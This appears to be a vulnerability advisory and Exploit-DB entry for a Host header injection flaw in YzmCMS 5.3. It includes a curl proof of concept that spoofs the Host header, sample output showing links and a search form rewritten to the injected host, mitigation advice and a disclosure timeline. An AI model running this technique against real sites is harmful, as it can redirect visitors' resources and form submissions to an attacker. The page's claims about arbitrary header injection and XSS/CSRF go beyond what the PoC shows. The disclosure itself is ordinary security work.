YzmCMS 5.3 - 'Host' Header Injection

vendor:

YzmCMS

by:

Debashis Pal

4.3

CVSS

MEDIUM

Host Header Injection

N/A

CWE

Product Name: YzmCMS

Affected Version From: YzmCMS V5.3

Affected Version To: YzmCMS V5.3

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 SP1(64bit),XAMPP: 7.3.9

2020

YzmCMS 5.3 – ‘Host’ Header Injection

YzmCMS is a lightweight open source content management system that uses OOP (Object Oriented) to develop its own framework. Host Header Injection is a vulnerability that allows an attacker to inject arbitrary HTTP headers into a web application's response. This can be exploited to perform various attacks such as Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).

Mitigation:

The best way to mitigate this vulnerability is to validate the Host header value before processing it. This can be done by whitelisting the allowed Host header values.

Source

Exploit-DB raw data:

# Exploit Title: YzmCMS 5.3 - 'Host' Header Injection
# Exploit Author: Debashis Pal
# Vendor Homepage: http://www.yzmcms.com/
# Source: https://github.com/yzmcms/yzmcms
# Version: YzmCMS V5.3
# CVE : N/A
# Tested on: Windows 7 SP1(64bit),XAMPP: 7.3.9

#About YzmCMS
==============
YzmCMS is a lightweight open source content management system that uses OOP (Object Oriented) to develop its own framework.

#Vulnerability 
===============
Host Header Injection.


#PoC 
=====
#YzmCMS V5.3 Access Path: TARGET/yzmcms/

curl http://TARGET/yzmcms/ -H "Host: www.google.com" 

//sample output start

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	  <title>YzmCMS - 演示站</title>
	  <link href="http://www.google.com/yzmcms/common/static/css/default_common.css" rel="stylesheet" type="text/css" />
	  <link href="http://www.google.com/yzmcms/common/static/css/default_index.css" rel="stylesheet" type="text/css" />
	  <script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/jquery-1.8.2.min.js"></script>
	  <script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/js.js"></script>
	  <script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/koala.min.1.5.js"></script> <!-- 焦点图js -->
	  <meta name="keywords" content="yzmcms,YzmCMS演示站,yzmcms站点" />
	  <meta name="description" content="本站是yzmcms演示站点" />
	  <meta http-equiv="mobile-agent" content="format=xhtml;url=http://TARGET/yzmcms/index.php?m=mobile">
      <script type="text/javascript">if(window.location.toString().indexOf('pref=padindex') != -1){}else{if(/AppleWebKit.*Mobile/i.test(navigator.userAgent) || (/MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE/.test(navigator.userAgent))){if(window.location.href.indexOf("?mobile")<0){try{if(/Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)){window.location.href="http://TARGET/yzmcms/index.php?m=mobile";}else if(/iPad/i.test(navigator.userAgent)){}else{}}catch(e){}}}}</script>
  </head>
  <body>
	   <!--mini登陆条-->
<div id="head_login">
<div class="w1000">
<div id="mini">
<a href="http://www.google.com/yzmcms/member/index/register.html" target="_blank">注册</a> <a href="http://www.google.com/yzmcms/member/index/login.html"  target="_blank">登录</a>
</div>
欢迎光临本站！
</div>
</div>
<!--网站容器-->
<div id="container">
<div id="header">
	<div id="logo">
	 <a href="http://TARGET/yzmcms/"><img src="http://www.google.com/yzmcms/common/static/images/logo.png" title="YzmCMS - 演示站" alt="YzmCMS - 演示站"></a>
	</div>
	<div id="search">
	<form method="get" action="http://www.google.com/yzmcms/index.php" target="_blank">
		<div id="searchtxt" class="searchtxt">
			<div class="searchmenu">	
			

//sample output End


#Solution
==========
Don’t trust the host header. Only allow whitelist hostnames. 


#Disclosure Timeline
====================
Vulnerability Discover Date: 18-Sep-2019
Vulnerability Notification To vendor via Email: 18-Sep-2019, no responds
Open issue in github : 22-Sep-2019, no responds
Submit exploit-db : 25-Sep-2019


#Disclaimer
==========
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.